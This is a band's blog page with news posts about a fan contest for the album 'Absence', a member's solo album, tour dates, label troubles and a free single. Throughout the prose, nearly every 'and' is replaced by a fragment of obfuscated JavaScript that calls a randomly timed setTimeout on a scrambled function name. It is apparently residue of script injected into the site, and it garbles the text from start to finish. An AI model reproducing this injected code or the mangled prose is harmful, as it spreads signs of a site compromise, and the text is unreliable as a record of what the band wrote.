“Absence” 3 Year Anniversary Contest

Hello friends,
Our first full length album “Absence” turns three years old today! It’s been an incredible journey andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we are so grateful to every one of you that has been on that journey with us. Because of all your suppport, we are close to putting out our second album andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have traveled all over North America andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Europe doing what we love. So we thank you. In honor of this occasion, we’d like to do something to reflect on this record. A contest of sorts…

THE RULES: Simple…
1. Do something creative to show how much “Absence” means to you.
You can cover a song, write a story that relates to the record (i.e. the first time you saw us live, your first kiss was to a certain song, it helped you through a tragic time, etc.), draw a picture, paint a painting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so on..

You’ll have two weeks to complete whatever it is that you choose to do. Once you have completed it, email it to absencecontest@gmail.com. We will choose one winner. A prize has not yet been selected but think along the lines of: free tickets to shows, free merchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andise, meet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and greet with the bandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, a signed copy of The Peace of Wild Things when it’s released, or some/all of the above! We will announce what the winner will receive as soon as we work out the details. Our goal is also to exhibit many other submissions on our tumblr, website, instagram andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and facebook. If you would not like to have your submission shared with others, please say so in your email.

Do not send questions to absencecontest@gmail.com, but rather to any social media outlet, or in the comments section of this post.

Let the games begin!

Update + JT releases solo album “Memory”

Hello everyone,

We’d like to give you a quick update on all things Paper Route…

Gavin recently got back from a short stint playing drums for Canon Blue on the Boxer Rebellion tour. He is also diving into the world of remixes so wish him luck as he dusts off the ol’ MPC. I, (www.chadhowat.com) just finished producing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mixing the latest full length album from Brooke Waggoner, who is currently playing keys for Jack White!
But let’s get to the real news of the hour…JT has released a solo album!!! Since we have not been able to release “The Peace Of Wild Things” yet, JT has taken this opportunity to release an album entitled “Memory” which is available at: http://Jtdalyart.546.08d.myftpupload.com/ This is a collection of songs he wrote a couple years back which, for one reason or another, did not become Paper Route songs. It is a deeply personal collection of songs that he wanted to release, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Gavin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I encouraged him to do so. I remember listening to it for the first time in the van a couple years back andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was blown away. You will be too.
Also, we will be featured in a new episode of Audio Files on May 3 on BYU TV. We had a lot of fun creating new ways to play our songs for the filming we did a few months back. You can see a preview here.

Here is an incomplete list of our upcoming summer shows, with more to be added soon:

May 18 – Cincinatti, OH – MOTR Pub
May 19 – Akron, Ohio – Musica
May 20 – Columbus, Ohio – Skully’s

May 31 – Birmingham, Al – Workplay
June 1 – Atlanta, GA – Masquerade

June 28 – Memphis, TN – Hi-Tone
June 29 – Springfield, MO – TBA
June 30 – St Louis, MO – TBA

The bandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is, indeed, alive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and well. While we are frustrated that we’ve not been able to get this album out yet, we are busy rehearsing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are planning on playing at least half of the new album live as possible. We are venturing into new territory, so please come out to a show andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and watch us play these songs for the first time. Your support means a lot to us andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your encouragement is invaluable.

Sincerely,
Chad
on behalf of the bandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and

PS We will be announcing another half dozen dates in the very near future.

Update – The Peace of Wild Things

Hey everyone,

      We apologize for the radio silence regarding our new album.  Due to mergers, acquisitions, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the state of the industry, we have cut ties with our previous label (which is a really good thing).  We are now in the process of securing a new andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exciting home for releasing The Peace Of Wild Things.  We have been EXTREMELY frustrated that we’ve not been able to release this album yet.  If it were up to us, it would’ve come out a long time ago andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we would’ve been touring non-stop.  We will make this happen, but we unfortunately need more time to figure out how we are going to achieve this.  Our priority is releasing this album as soon as possible whilst maintaining both integrity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intent with the release.  We think the album will be worth the wait andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will continue to update you in the interim.  Thank you for your continued patience!  Your response to the few new songs that are floating around out there has re-engergized us andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we are determined to get you the whole album as soon as possible. We love you all!!

Truly yours,
Chad, JT, & Gavin

New Paper Route song ‘Sugar’ available for free on NoiseTrade.com

On this Valentine’s Day, we are releasing a brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and new song called “Sugar,” from our upcoming album “The Peace Of Wild Things,” on a Valentine’s Day Music Sampler at NoiseTrade.com. Sugar is a favorite of ours andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we are excited for you all to have another song that we have worked so hard on for this record.

We produced Sugar ourselves, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recorded it at Joy Mansion (where we recorded the majority of this album) throughout 2011. Our good friend Jeremy Larson composed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and performed the string arrangements for it, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of course he did an incredible job. Make sure you follow the rest of his work too (Eisley, Mutemath, Sucre, Sleeping At Last, Switchfoot). It happens to be one of the very last songs we finished for this record, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and because of that there’s something special about it to us. We hope you enjoy it. Please share it with all you can, spreading the word is the best thing you can all do for Paper Route.
